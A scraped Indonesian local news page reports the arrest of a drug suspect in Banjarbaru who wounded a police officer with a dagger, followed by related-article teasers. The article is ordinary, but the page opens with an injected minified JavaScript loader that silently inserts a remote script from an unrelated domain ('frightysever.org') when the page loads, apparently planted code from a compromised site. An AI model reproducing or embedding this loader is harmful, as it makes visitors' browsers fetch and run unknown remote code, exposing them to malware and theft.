(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Aksi nekat tersangka pelaku tindak pidana peredaran gelap narkotika, sempat mencabut dan menyabetkan belati miliknya, saat akan diringkus petugas Jajaran Subdit 1 Ditresnarkoba Polda Kalimantan Selatan (Kalsel), mengakibatkan salah satu petugas terluka.
Diketahui A (37), seorang sopir, warga Jalan Kelurahan, Kelurahan Landasan Ulin Selatan, Kecamatan Liang Anggang, Kota Banjarbaru.
Beruntung luka yang dialami salah satu petugas tak parah dan perlawanan A dapat dinetralisir, hingga akhirnya dapat diamankan petugas.
Penangkapan tersangka A diawali saat petugas Subdit 1 Ditresnarkoba Polda Kalsel melakukan penyamaran untuk memancing A di rumahnya di Jalan Kelurahan, Kelurahan Landasan Ulin Selatan, Kecamatan Liang Anggang, Kota Banjarbaru, pada Sabtu (17/4/2021).
Baca juga : Wakil HSU Lomba Perpustakaan Sekolah se Kalsel, Ini Kata Kepsek SMK Shalatiyah Bitin
Direktur Reserse Narkoba Polda Kalsel, Kombes Pol Tri Wahyudi melalui Kasubdit 1, AKBP Meilki Bharata mengatakan, selain satu paket sabu 0,06 gram yang akan ditransaksikan, petugas juga menemukan dua paket sabu lain yang dikuasai A usai dilakukan penggeledahan.
“Dua paket sabu tersebut total 0,51 gram yang disimpan A dalam gelas plastik,” ungkap AKBP Meilki.
“Pelaku beserta barang bukti sudah dibawa ke kantor Ditresnarkoba Polda Kalsel untuk penyidikan lebih lanjut,” ujar AKBP Meilki.
Selain tiga paket sabu dan sepucuk belati yang digunakan A untuk melukai petugas, petugas juga menyita gelas plastik, plastik klip, uang tunai senilai Rp 200 ribu dan satu smartphone sebagai barang bukti.
Baca juga : Soal Kegaduhan UEFA vs European Super League, Ini Respons FIFA
AKBP Meilki juga menambahkan, tersangka A dijerat dengan pasal berlapis.
Pertama yaitu oasal 114 ayat 1 subsidair pasal 112 ayat 1 Undang-Undang RI Nomor 35 Tahun 2009 tentang Narkotika karena kepemilikan narkotika golongan 1 jenis sabu. Kedua, A juga dijerat dengan pasal 2 ayat 1 Undang-Undang Darurat Nomor 12 Tahun 1951 karena membawa senjata tajam tanpa izin.
(kanalkalimantan.com/tius)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.